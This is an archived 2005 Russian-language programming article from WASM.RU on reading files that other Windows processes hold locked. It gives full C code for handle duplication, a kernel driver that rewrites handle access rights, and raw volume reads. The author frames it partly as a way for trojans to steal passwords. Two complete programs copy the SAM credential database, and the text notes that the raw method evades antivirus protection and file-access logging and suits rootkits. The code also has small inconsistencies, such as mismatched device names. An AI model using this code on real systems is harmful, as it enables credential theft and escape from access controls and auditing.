3 метода работы с занятыми файлами

Дата публикации 22 дек 2005

3 метода работы с занятыми файлами — Архив WASM.RU

У многих из вас, несомненно, когда-либо возникала необходимость читать/писать файлы занятые другим процессом. Это бывает например при написании бекапера, или (как ни странно) трояна. Неплохо иметь возможность стянуть файл SAM с работающей системы, или прочитать какие-либо еще файлы, доступ к которым (по недоразумению Microsoft) получить стандартными средствами не удается. Это бывает например, когда файл открыт с флагом dwShareMode = 0. Хорошим примером может быть интернет пейджер Miranda, которая во время своей работы не дает открывать файл своей базы данных. Допустим нам нужно написать трояна, который при попадании на машину вытаскивает с нее пароли и самоудаляется, но тут и возникает проблема... Поэтому я и решил написать эту статью. Статья получилась небольшая, но возможно приведенная в ней информация может быть кому-нибудь полезной. Итак, приступим.

Поиск хэндла открытого файла.

Если файл открыт каким-либо процессом, то этот процесс имеет его хэндл. Во второй моей статье по перехвату апи я описывал открытие процесса путем поиска нужного хэндла, ничто не мешает нам использовать этот метод и для доступа к открытым файлам. Нам нужно перечислить хэндлы с помощью ZwQuerySystemInformation, скопировать каждый хэндл себе с помощью DuplicateHandle, определить файл к которому он относиться (ZwQueryInformationFile), и если это нужный файл, то наконец можно его копировать.

Все это хорошо и гладко в теории, а на практике придется столкнуться с двумя подводными камнями. Первая проблема состоит в том, что при вызове ZwQueryInformationFile для хэндла открытого именованного канала, (в случае если этот канал работает в блокирующем режиме) вызывающий поток будет ждать поступления сообщения в канал, а это событие может никогда и не произойти. Тоесть фактически, поток вызывающий ZwQueryInformationFile может повиснуть навсегда. Поэтому получение имен файлов не следует делать в основном потоке перебирающем хэндлы, для этого следует запускать отдельный поток и прибивать его по таймауту в случае зависания. Проблема номер два заключается в том, что после копирования хэндла, оба хэндла (наш и процесса открывшего файл) будут указывать на один FileObject, а следовательно текущий режим ввода-вывода, позиция в файле и другая связанная с файлом информация будут общими у двух процессов. При таком раскладе даже чтение файла будет вызывать изменение позиции чтения и нарушение нормальной работы программы открывшей файл. Чтобы этого избежать, нам нужно останавливать потоки процесса владельца файла, сохранять текущую позицию, копировать файл, восстанавливать текущую позицию и запускать процесс владелец снова. Такой метод может быть во многих случаях неприемлемым, например скопировать файлы реестра на работающей системе с его помощью не удастся.

Попробуем для начала реализовать перечисление всех открытых в системе файлов. При перечислении хэндлов, каждый хэндл будет описываться следующей структурой:

Код (Text):
  1. typedef struct _SYSTEM_HANDLE
  2. {
  3.     ULONG       uIdProcess;
  4.     UCHAR       ObjectType;
  5.     UCHAR       Flags;
  6.     USHORT      Handle;
  7.     POBJECT     pObject;
  8.     ACCESS_MASK GrantedAccess;
  9. } SYSTEM_HANDLE, *PSYSTEM_HANDLE;

Поле ObjectType здесь определяет тип объекта к которому относиться хэндл. И тут нас опять поджидает проблема - ObjectType для типа File имеют разное значение в Windows 2000, XP и 2003, поэтому нам придется определить эту константу динамически. Для этого откроем с помощью CreateFile девайс NUL, найдем его хэндл и запомним его тип:

Код (Text):
  1. UCHAR GetFileHandleType()
  2. {
  3.     HANDLE                     hFile;
  4.     PSYSTEM_HANDLE_INFORMATION Info;
  5.     ULONG                      r;
  6.     UCHAR                      Result = 0;
  7.  
  8.     hFile = CreateFile("NUL", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
  9.  
  10.     if (hFile != INVALID_HANDLE_VALUE)
  11.     {
  12.         Info = GetInfoTable(SystemHandleInformation);
  13.  
  14.         if (Info)
  15.         {
  16.             for (r = 0; r < Info->uCount; r++)
  17.             {
  18.                 if (Info->aSH[r].Handle == (USHORT)hFile &&
  19.                                     Info->aSH[r].uIdProcess == GetCurrentProcessId())
  20.                 {
  21.                     Result = Info->aSH[r].ObjectType;
  22.                     break;
  23.                 }
  24.             }
  25.  
  26.             HeapFree(hHeap, 0, Info);
  27.         }
  28.  
  29.         CloseHandle(hFile);
  30.     }
  31.     return Result;
  32. }

Теперь зная тип хзндла мы можем перечислить открытые в системе файлы. Для начала реализуем получение имени открытого файла по его хэндлу:

Код (Text):
  1. typedef struct _NM_INFO
  2. {
  3.     HANDLE  hFile;
  4.     FILE_NAME_INFORMATION Info;
  5.     WCHAR Name[MAX_PATH];
  6. } NM_INFO, *PNM_INFO;
  7.  
  8. DWORD WINAPI
  9.   GetFileNameThread(PVOID lpParameter)
  10.  
  11. {
  12.     PNM_INFO        NmInfo = lpParameter;
  13.     IO_STATUS_BLOCK IoStatus;
  14.     int r;
  15.  
  16.     NtQueryInformationFile(NmInfo->hFile, &IoStatus, &NmInfo->Info,
  17.                            sizeof(NM_INFO) - sizeof(HANDLE), FileNameInformation);
  18.  
  19.     return 0;
  20. }
  21.  
  22. void GetFileName(HANDLE hFile, PCHAR TheName)
  23. {
  24.     HANDLE   hThread;
  25.     PNM_INFO Info = HeapAlloc(hHeap, 0, sizeof(NM_INFO));
  26.  
  27.     Info->hFile = hFile;
  28.  
  29.     hThread = CreateThread(NULL, 0, GetFileNameThread, Info, 0, NULL);
  30.  
  31.     if (WaitForSingleObject(hThread, INFINITE) == WAIT_TIMEOUT) TerminateThread(hThread, 0);
  32.  
  33.     CloseHandle(hThread);
  34.  
  35.     memset(TheName, 0, MAX_PATH);
  36.  
  37.     WideCharToMultiByte(CP_ACP, 0, Info->Info.FileName, Info->Info.FileNameLength >> 1, TheName, MAX_PATH, NULL, NULL);
  38.  
  39.     HeapFree(hHeap, 0, Info);
  40. }

Вот теперь собственно можно и перечислить открытые файлы:

Код (Text):
  1. void main()
  2. {
  3.     PSYSTEM_HANDLE_INFORMATION Info;
  4.     ULONG                      r;
  5.     CHAR                       Name[MAX_PATH];
  6.     HANDLE                     hProcess, hFile;
  7.  
  8.     hHeap = GetProcessHeap();
  9.  
  10.     ObFileType = GetFileHandleType();
  11.  
  12.     Info = GetInfoTable(SystemHandleInformation);
  13.  
  14.     if (Info)
  15.     {
  16.         for (r = 0; r < Info->uCount; r++)
  17.         {
  18.             if (Info->aSH[r].ObjectType == ObFileType)
  19.             {
  20.                 hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, Info->aSH[r].uIdProcess);
  21.                
  22.                 if (hProcess)
  23.                 {
  24.                     if (DuplicateHandle(hProcess, (HANDLE)Info->aSH[r].Handle,
  25.                                     GetCurrentProcess(), &hFile, 0, FALSE, DUPLICATE_SAME_ACCESS))
  26.                     {
  27.                         GetFileName(hFile, Name);
  28.  
  29.                         printf("%s\n", Name);
  30.  
  31.                         CloseHandle(hFile);
  32.                     }
  33.  
  34.                     CloseHandle(hProcess);
  35.                 }              
  36.             }
  37.            
  38.         }  
  39.         HeapFree(hHeap, 0, Info);
  40.     }
  41. }

Теперь для копирования файла нам остается лишь прочитать его с помощью ReadFile при нахождении нужного хэндла. При необходимости следует принять вышеописанные меры осторожности.

Из достоинств этого метода можно отметить простоту его реализации, но недостатков к сожалению куда больше, поэтому этот метод стоит использовать разве что для определения того, каким процессом занят файл.


Изменение прав доступа существующего хэндла.

Все занятые файлы (за исключением файлов подкачек) обычно удается открыть на чтение атрибутов (FILE_READ_ATTRIBUTES), это позволяет читать атрибуты файла, получать его размер, перечислять NTFS потоки, но к сожалению ReadFile завершается неудачно. Чем отличается открытие файла с разными атрибутами доступа? Очевидно, что при открытии файла система запоминает атрибуты доступа, и потом сравнивает запрашиваемый доступ с этими атрибутами. Если найти то место, куда система сохраняет эту информацию и изменить атрибуты доступа, то можно будет не только читать, а даже писать в любой файл который удалось вообще как-либо открыть.

На уровне пользователя мы работаем с файлом не напрямую, а через его хэндл (этот хэндл указывает на FileObject), а функции ReadFile/WriteFile вызывают ObReferenceObjectByHandle указывая ему соответствующий тип доступа. Из этого можно сделать вывод, что права доступа хранятся в самой структуре описывающей хэндл. И действительно, структура HANDLE_TABLE_ENTRY содержит поле GrantedAccess, которое и есть ни что иное, как эти самые права доступа связанные с хэндлом. К сожалению, программисты Mocrosoft не предусмотрели API для изменения доступа хэндлов, поэтому, как вы поняли, нам придется писать драйвер чтобы это сделать.

Структуру таблиц хэндлов в Windows 2000 и XP я рассматривал в статье "Обнаружение скрытых процессов", к написанному там хочу лишь добавить, что таблицы хэндлов в Windows 2003 полностью аналогична XP. В отличии от той статьи, нам нужно будет не перечислять хэндлы в таблице, а найти какой-то конкретный (известный) хэндл, и работать мы будем не с PspCidTable, а с таблицей хэндлов своего процесса, указатель на которую находиться в его структуре EPROCESS (смещение 0x128 в 2000 и 0x0C4 в XP).

Для получения указателя на структуру хэндла случит неэкспортируемая функция ExpLookupHandleTableEntry, но искать мы ее не будем, так как на нее нет прямых ссылок из экспортируемых функций и поиск будет слишком ненадежным, к тому же нам тогда понадобиться еще и функция ExUnlockHandleTableEntry. Лучшим выходом будет написать свою функцию лукапа по таблицам хэндлов. В виду отличия структур таблиц хэндлов в Windows 2000 и XP, эта функция для них будет выглядеть по разному.

Для начала сделаем такую функцию для Windows 2000:

Код (Text):
  1. PHANDLE_TABLE_ENTRY
  2.     Win2kLookupHandleTableEntry(
  3.             IN PWIN2K_HANDLE_TABLE HandleTable,
  4.             IN EXHANDLE            Handle
  5.             )
  6. {
  7.     ULONG i, j, k;
  8.  
  9.     i = (Handle.Index >> 16) & 255;
  10.     j = (Handle.Index >> 8)  & 255;
  11.     k = (Handle.Index)       & 255;
  12.    
  13.     if (HandleTable->Table[i])
  14.     {
  15.         if (HandleTable->Table[i][j])
  16.         {
  17.             return &(HandleTable->Table[i][j][k]);
  18.         }  
  19.     }
  20.     return NULL;    
  21. }

Этот код прост и понятен. Так как значение хэндла представляет из себя три индекса в трехуровневой таблице, то мы просто извлекаем их чисти и смотрим соответствующий элемент таблицы (если он конечно существует). Так как таблица хэндлов в Windows XP может иметь от одного до трех уровней, то код лукапа соответственно будет сложнее:

Код (Text):
  1. PHANDLE_TABLE_ENTRY
  2.     XpLookupHandleTableEntry(
  3.                IN PXP_HANDLE_TABLE HandleTable,
  4.                IN EXHANDLE         Handle
  5.                )
  6. {
  7.     ULONG i, j, k;
  8.     PHANDLE_TABLE_ENTRY Entry = NULL;
  9.     ULONG TableCode = HandleTable->TableCode & ~TABLE_LEVEL_MASK;
  10.  
  11.     i = (Handle.Index >> 17) & 0x1FF;
  12.     j = (Handle.Index >> 9)  & 0x1FF;
  13.     k = (Handle.Index)       & 0x1FF;
  14.  
  15.     switch (HandleTable->TableCode & TABLE_LEVEL_MASK)
  16.     {
  17.         case 0 :
  18.           Entry = &((PHANDLE_TABLE_ENTRY)TableCode)[k];
  19.         break;
  20.        
  21.         case 1 :
  22.           if (((PVOID *)TableCode)[j])
  23.           {
  24.              Entry = &((PHANDLE_TABLE_ENTRY *)TableCode)[j][k];        
  25.           }
  26.         break;
  27.  
  28.         case 2 :
  29.           if (((PVOID *)TableCode)[i])
  30.           if (((PVOID **)TableCode)[i][j])
  31.           {
  32.              Entry = &((PHANDLE_TABLE_ENTRY **)TableCode)[i][j][k];                      
  33.           }
  34.         break;
  35.     }
  36.     return Entry;
  37. }

Как вы видите, хэндл в этом коде представлен не ULONG значением, а структурой EXHANDLE:

Код (Text):
  1. typedef struct _EXHANDLE
  2. {
  3.     union
  4.     {
  5.         struct
  6.         {
  7.             ULONG TagBits : 02;
  8.             ULONG Index   : 30;
  9.         };
  10.         HANDLE GenericHandleOverlay;
  11.     };
  12. } EXHANDLE, *PEXHANDLE;

Как вы видите, хэндл содержит не только индексы в таблице, но и 2 бита служебных флагов. Наверное вы замечали, что одинаковый хэндл может иметь несколько разных значений, это связано с тем, что не все биты значения хэндла используются (зависит от числа уровней в таблице). Наиболее характерно это явление проявляется в Windows XP.

Итак, теперь мы можем получить нужный элемент таблицы хэндлов, пора писать функцию устанавливающую на хэндл нужные атрибуты доступа:

Код (Text):
  1. BOOLEAN SetHandleAccess(
  2.                 IN HANDLE      Handle,
  3.                 IN ACCESS_MASK GrantedAccess
  4.                 )
  5. {
  6.     PHANDLE_TABLE       ObjectTable = *(PHANDLE_TABLE *)RVATOVA(PsGetCurrentProcess(), ObjectTableOffset);
  7.     PHANDLE_TABLE_ENTRY Entry;
  8.     EXHANDLE            ExHandle;
  9.  
  10.     ExHandle.GenericHandleOverlay = Handle;
  11.  
  12.     Entry = ExLookupHandleTableEntry(ObjectTable, ExHandle);
  13.  
  14.     if (Entry) Entry->GrantedAccess = GrantedAccess;
  15.  
  16.     return Entry > 0;
  17. }

Теперь сделаем драйвер устанавливающие атрибуты доступа на хэндл переданный ему по DeviceIoControl. Его код будет выглядеть так:

Код (Text):
  1. NTSTATUS DriverIoControl(
  2.     IN PDEVICE_OBJECT DeviceObject,
  3.     IN PIRP Irp)
  4. {
  5.     PIO_STACK_LOCATION pisl     = IoGetCurrentIrpStackLocation(Irp);
  6.     NTSTATUS           status   = STATUS_UNSUCCESSFUL;
  7.     ULONG              BuffSize = pisl->Parameters.DeviceIoControl.InputBufferLength;
  8.     PUCHAR             pBuff    = Irp->AssociatedIrp.SystemBuffer;
  9.     HANDLE             Handle;
  10.     ACCESS_MASK        GrantedAccess;
  11.  
  12.     Irp->IoStatus.Information = 0;
  13.  
  14.     switch(pisl->Parameters.DeviceIoControl.IoControlCode)
  15.     {
  16.         case IOCTL1:
  17.             if (pBuff && BuffSize >= sizeof(HANDLE) + sizeof(ACCESS_MASK))
  18.             {
  19.                 Handle        = *(HANDLE*)pBuff;
  20.                 GrantedAccess = *(ACCESS_MASK*)(pBuff + sizeof(HANDLE));
  21.  
  22.                 if (Handle != (HANDLE)-1 && SetHandleAccess(Handle, GrantedAccess)) status = STATUS_SUCCESS;
  23.                
  24.             }      
  25.          break;
  26.      }  
  27.  
  28.     Irp->IoStatus.Status = status;
  29.     IoCompleteRequest(Irp, IO_NO_INCREMENT);
  30.     return status;
  31. }
  32.  
  33. NTSTATUS DriverCreateClose(
  34.     IN PDEVICE_OBJECT DeviceObject,
  35.     IN PIRP Irp)
  36. {
  37.     Irp->IoStatus.Information = 0;
  38.     Irp->IoStatus.Status = STATUS_SUCCESS;
  39.     IoCompleteRequest(Irp, IO_NO_INCREMENT);
  40.     return STATUS_SUCCESS;
  41. }
  42.  
  43.  
  44. NTSTATUS DriverEntry(
  45.             IN PDRIVER_OBJECT DriverObject,
  46.             IN PUNICODE_STRING RegistryPath
  47.             )
  48. {
  49.     PCWSTR   dDeviceName       = L"\\Device\\fread";
  50.     PCWSTR   dSymbolicLinkName = L"\\DosDevices\\fread";
  51.     NTSTATUS status;
  52.     PDRIVER_DISPATCH *ppdd;
  53.  
  54.     RtlInitUnicodeString(&DeviceName,       dDeviceName);
  55.     RtlInitUnicodeString(&SymbolicLinkName, dSymbolicLinkName);
  56.  
  57.     switch (*NtBuildNumber)
  58.     {
  59.         case 2600:
  60.             ObjectTableOffset = 0x0C4;
  61.             ExLookupHandleTableEntry = XpLookupHandleTableEntry;
  62.         break;
  63.  
  64.         case 2195:
  65.             ObjectTableOffset = 0x128;
  66.             ExLookupHandleTableEntry = Win2kLookupHandleTableEntry;
  67.         break;
  68.  
  69.         default: return STATUS_UNSUCCESSFUL;
  70.     }
  71.  
  72.     status = IoCreateDevice(DriverObject,
  73.                             0,
  74.                             &DeviceName,
  75.                             FILE_DEVICE_UNKNOWN,
  76.                             0,
  77.                             TRUE,
  78.                             &deviceObject);
  79.    
  80.     if (NT_SUCCESS(status))
  81.     {
  82.         status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
  83.  
  84.         if (!NT_SUCCESS(status)) IoDeleteDevice(deviceObject);
  85.  
  86.         DriverObject->DriverUnload = DriverUnload;
  87.     }
  88.  
  89.     ppdd = DriverObject->MajorFunction;
  90.    
  91.     ppdd [IRP_MJ_CREATE] =
  92.     ppdd [IRP_MJ_CLOSE ] = DriverCreateClose;
  93.     ppdd [IRP_MJ_DEVICE_CONTROL ] = DriverIoControl;
  94.  
  95.     return status;
  96. }

Поле GrantedAccess в структуре хэндла к сожалению не соответствует атрибутам открытия файла (GENERIC_READ, GENERIC_WRITE e.t.c.), поэтому при установке новых атрибутов доступа нам понадобятся следующие константы:

Код (Text):
  1. #define AC_GENERIC_READ        0x120089
  2. #define AC_GENERIC_WRITE       0x120196
  3. #define AC_DELETE              0x110080
  4. #define AC_READ_CONTROL        0x120080
  5. #define AC_WRITE_DAC           0x140080
  6. #define AC_WRITE_OWNER         0x180080
  7. #define AC_GENERIC_ALL         0x1f01ff
  8. #define AC_STANDARD_RIGHTS_ALL 0x1f0080

Теперь напишем простую программку которая используя этот драйвер будет копировать SAM файл в корень диска c:

#include <windows.h>
#include "hchange.h"

BOOLEAN SetHandleAccess(
             HANDLE Handle,  
             ACCESS_MASK GrantedAccess
             )
{
    HANDLE  hDriver;
    ULONG   Bytes;
    ULONG   Buff[2];
    BOOLEAN Result = FALSE;

    hDriver = CreateFile("\\\\.\\haccess", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);

    if (hDriver != INVALID_HANDLE_VALUE)
    {
        Buff[0] = (ULONG)Handle;
        Buff[1] = GrantedAccess;

        Result = DeviceIoControl(hDriver, IOCTL1, Buff, sizeof(Buff), NULL, 0, &Bytes, NULL);

        CloseHandle(hDriver);
    }
}

void main()
{
    HANDLE hFile, hDest;
    ULONG  Size, Bytes;
    PVOID  Data;
    CHAR   Name[MAX_PATH];

    GetSystemDirectory(Name, MAX_PATH);

    lstrcat(Name, "\\config\\SAM");

    hFile = CreateFile(Name, FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                       NULL, OPEN_EXISTING, 0, 0);
	
    if (hFile != INVALID_HANDLE_VALUE)
    {
        if (SetHandleAccess(hFile, AC_GENERIC_READ))
        {
            Size = GetFileSize(hFile, NULL);

            Data = VirtualAlloc(NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

            if (Data)
            {
                ReadFile(hFile, Data, Size, &Bytes, NULL);

                hDest = CreateFile("c:\\SAM", GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, 0);

                if (hDest != INVALID_HANDLE_VALUE)
                {
                    WriteFile(hDest, Data, Size, &Bytes, NULL);

                    CloseHandle(hDest);
                }
                VirtualFree(Data, 0, MEM_RELEASE);
            }
        }
        CloseHandle(hFile);
    }
}

Самым большим недостатком этого метода является сильная зависимость от операционной системы. Также его применение вынуждает таскать с своей прогой драйвер, что не всегда приемлемо. Но в плане надежности этот способ один из лучших, поэтому я рекомендую его применять в бекаперах (но только после продолжительного тестирования и отладки!). Но так как способ не подходит для любых ситуаций, мы перейдем к следующему способу.


Чтение файла с помощью прямого доступа к диску.

"Прямой доступ к диску" это конечно круто, но спешу разочаровать некоторых любителей программирования в DOS, никакой работы с железом не будет, так как мелкомягкие позаботились о нашем благополучии и предоставили удобные и простые API через которые можно работать с диском почти "напрямую". Как вы уже поняли - речь идет об открытии тома в RAW режиме и чтении файла покластерно. Надеюсь никто еще не испугался :smile3:

Если решать эту задачу "в лоб", вручную парся структуры файловой системы, то мы рискуем написать много лишнего кода и преждевременно нажить геморрой, поэтому делать мы это не будем, а еще раз обратимся к великому мануалу мелкомягких - MSDN. Очень полезным для нас будут разделы "Defragmenting Files " и "Disk Management Control Codes", именно там описаны управляющие коды драйвера файловой системы, которые используют в своей работе различные дефрагментаторы. Если вы удосужились открыть MSDN, то несомненно обнаружили, что IOCTL код FSCTL_GET_RETRIEVAL_POINTERS позволяет получить карту размещения файла. Тоесть нам достаточно с помощью этого IOCTL получить список кластеров занятых файлом и прочитать их.

При вызове DeviceIoControl с этим кодом, InputBuffer должен содержать структуру STARTING_VCN_INPUT_BUFFER описывающую начальный элемент цепочки кластеров с которого мы хотим получить карту размещения файла, а после успешного выполнения функции OutputBuffer будет содержать структуру RETRIEVAL_POINTERS_BUFFER которая описывает карту размещения. Давайте рассмотрим эти структуры подробнее:

Код (Text):
  1. typedef struct
  2. {  
  3.    LARGE_INTEGER StartingVcn;
  4. } STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER;
  5.  
  6. typedef struct RETRIEVAL_POINTERS_BUFFER
  7. {  
  8.     DWORD ExtentCount;  
  9.     LARGE_INTEGER StartingVcn;  
  10.     struct
  11.     {    
  12.         LARGE_INTEGER NextVcn;    
  13.         LARGE_INTEGER Lcn;  
  14.     } Extents[1];
  15. } RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;

С первой структурой все понятно, нам просто нужно передать 0 в StartingVcn.QuadPart, а вот формат выдаваемой структуры следует рассмотреть подробнее. Первое поле (ExtentCount) содержит количество элементов Extents в структуре. StartingVcn - номер первой цепочки кластеров файла. Каждый элемент Extents содержит поле NextVcn содержит количество кластеров в цепочке, а Lcn - номер ее первого кластера. Тоесть выходная информация представляет из себя массив описателей цепочек, каждая из которых может содержать по несколько кластеров.

Итак, теперь структура выходной информации понятна, и пришла пора написать функцию получающую полный список кластеров файла и представляющую его в виде массива:

Код (Text):
  1. ULONGLONG *GetFileClusters(
  2.                     PCHAR lpFileName,
  3.                     ULONG ClusterSize,
  4.                     ULONG *ClCount,
  5.                     ULONG *FileSize
  6.                     )
  7. {
  8.     HANDLE  hFile;
  9.     ULONG   OutSize;
  10.     ULONG   Bytes, Cls, CnCount, r;
  11.     ULONGLONG *Clusters = NULL;
  12.     BOOLEAN Result = FALSE;
  13.     LARGE_INTEGER PrevVCN, Lcn;
  14.     STARTING_VCN_INPUT_BUFFER  InBuf;
  15.     PRETRIEVAL_POINTERS_BUFFER OutBuf;
  16.  
  17.     hFile = CreateFile(lpFileName, FILE_READ_ATTRIBUTES,
  18.                        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
  19.                        NULL, OPEN_EXISTING, 0, 0);
  20.  
  21.     if (hFile != INVALID_HANDLE_VALUE)
  22.     {
  23.         *FileSize = GetFileSize(hFile, NULL);
  24.  
  25.         OutSize = sizeof(RETRIEVAL_POINTERS_BUFFER) + (*FileSize / ClusterSize) * sizeof(OutBuf->Extents);
  26.  
  27.         OutBuf = malloc(OutSize);
  28.  
  29.         InBuf.StartingVcn.QuadPart = 0;
  30.        
  31.         if (DeviceIoControl(hFile, FSCTL_GET_RETRIEVAL_POINTERS, &InBuf,
  32.                             sizeof(InBuf), OutBuf, OutSize, &Bytes, NULL))
  33.         {
  34.             *ClCount = (*FileSize + ClusterSize - 1) / ClusterSize;
  35.  
  36.             Clusters = malloc(*ClCount * sizeof(ULONGLONG));
  37.  
  38.             PrevVCN = OutBuf->StartingVcn;
  39.  
  40.             for (r = 0, Cls = 0; r < OutBuf->ExtentCount; r++)
  41.             {
  42.                 Lcn = OutBuf->Extents[r].Lcn;
  43.  
  44.                 for (CnCount = OutBuf->Extents[r].NextVcn.QuadPart - PrevVCN.QuadPart;
  45.                      CnCount; CnCount--, Cls++, Lcn.QuadPart++) Clusters[Cls] = Lcn.QuadPart;
  46.  
  47.                 PrevVCN = OutBuf->Extents[r].NextVcn;
  48.             }
  49.         }
  50.            
  51.         free(OutBuf);  
  52.  
  53.         CloseHandle(hFile);
  54.     }
  55.     return Clusters;
  56. }

На выходе этой функции мы имеем массив описывающий кластеры файла и число этих кластеров, теперь можно легко скопировать файл:

Код (Text):
  1. void FileCopy(
  2.         PCHAR lpSrcName,
  3.         PCHAR lpDstName
  4.         )
  5. {
  6.     ULONG         ClusterSize, BlockSize;
  7.     ULONGLONG    *Clusters;
  8.     ULONG         ClCount, FileSize, Bytes;
  9.     HANDLE        hDrive, hFile;
  10.     ULONG         SecPerCl, BtPerSec, r;
  11.     PVOID         Buff;
  12.     LARGE_INTEGER Offset;
  13.     CHAR          Name[7];
  14.    
  15.     Name[0] = lpSrcName[0];
  16.     Name[1] = ':';
  17.     Name[2] = 0;
  18.  
  19.     GetDiskFreeSpace(Name, &SecPerCl, &BtPerSec, NULL, NULL);
  20.  
  21.     ClusterSize = SecPerCl * BtPerSec;
  22.    
  23.     Clusters = GetFileClusters(lpSrcName, ClusterSize, &ClCount, &FileSize);
  24.  
  25.     if (Clusters)
  26.     {
  27.         Name[0] = '\\';
  28.         Name[1] = '\\';
  29.         Name[2] = '.';
  30.         Name[3] = '\\';
  31.         Name[4] = lpSrcName[0];
  32.         Name[5] = ':';
  33.         Name[6] = 0;
  34.  
  35.         hDrive = CreateFile(Name, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);
  36.  
  37.         if (hDrive != INVALID_HANDLE_VALUE)
  38.         {
  39.             hFile = CreateFile(lpDstName, GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, 0);
  40.  
  41.             if (hFile != INVALID_HANDLE_VALUE)
  42.             {
  43.                 Buff = malloc(ClusterSize);
  44.  
  45.                 for (r = 0; r < ClCount; r++, FileSize -= BlockSize)
  46.                 {
  47.                     Offset.QuadPart = ClusterSize * Clusters[r];
  48.  
  49.                     SetFilePointer(hDrive, Offset.LowPart, &Offset.HighPart, FILE_BEGIN);
  50.  
  51.                     ReadFile(hDrive, Buff, ClusterSize, &Bytes, NULL);
  52.  
  53.                     BlockSize = FileSize < ClusterSize ? FileSize : ClusterSize;
  54.  
  55.                     WriteFile(hFile, Buff, BlockSize, &Bytes, NULL);
  56.                 }
  57.  
  58.                 free(Buff);
  59.  
  60.                 CloseHandle(hFile);
  61.             }
  62.             CloseHandle(hDrive);
  63.         }
  64.         free(Clusters);
  65.     }
  66. }

Вот собственно и все, скопировать SAM теперь просто как три рубля :smile3:. В примерах к статье есть программка копирующая SAM в файл указанный в ее командной строке.

Несомненно этот метод выглядит просто и кажется весьма мощным, но к сожалению и ему присущи недостатки. Таким способом можно читать только файлы которые можно открыть с доступом FILE_READ_ATTRIBUTES (не читаются только файлы подкачки), файл обязательно должен быть не сжат, не зашифрован (иначе мы прочитаем ерунду), и должен иметь свой кластер (маленькие файлы в NTFS могут целиком размещаться в MFT). Также следует учесть, что во время чтения файл может быть изменен (и мы получим в результате фиг знает что).

Итак, как работать с файловой системой на низком уровне, я думаю всем теперь понятно. Эта методика открывает немалые возможности для различных руткитов. Существуют программы защищающие системные файлы от модификации, (примером такой программы может быть антивирус), но при наличии прав достаточных для открытия тома в RAW режиме, такие ограничения быстро сходят на нет. К тому же хороший администратор может настроить ведение логов чтения/записи важных файлов на своем сервере, а прямой доступ к тому никаких логов не оставляет, но для полноценного доступа к файлам придется писать свой драйвер NTFS.

Приложение:

Здесь вы найдете все файлы идущие со статьей:

ФайлОписание
henum.rar (56 кб)Пример перечисления открытых файлов.
samcopy.rar (11 кб)Пример копирования SAM с помошью изменения прав доступа в таблице хэндлов.
RawRead.rar (9 кб)Пример чтения SAM с помошью прямого доступа к тому.
© Ms-Rem

1 2.244
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532

Комментарии


      1. reasta 14 ноя 2023
        RawRead.rar (9 кб)Пример чтения SAM с помошью прямого доступа к тому.
        как скачать? Ну очень нужно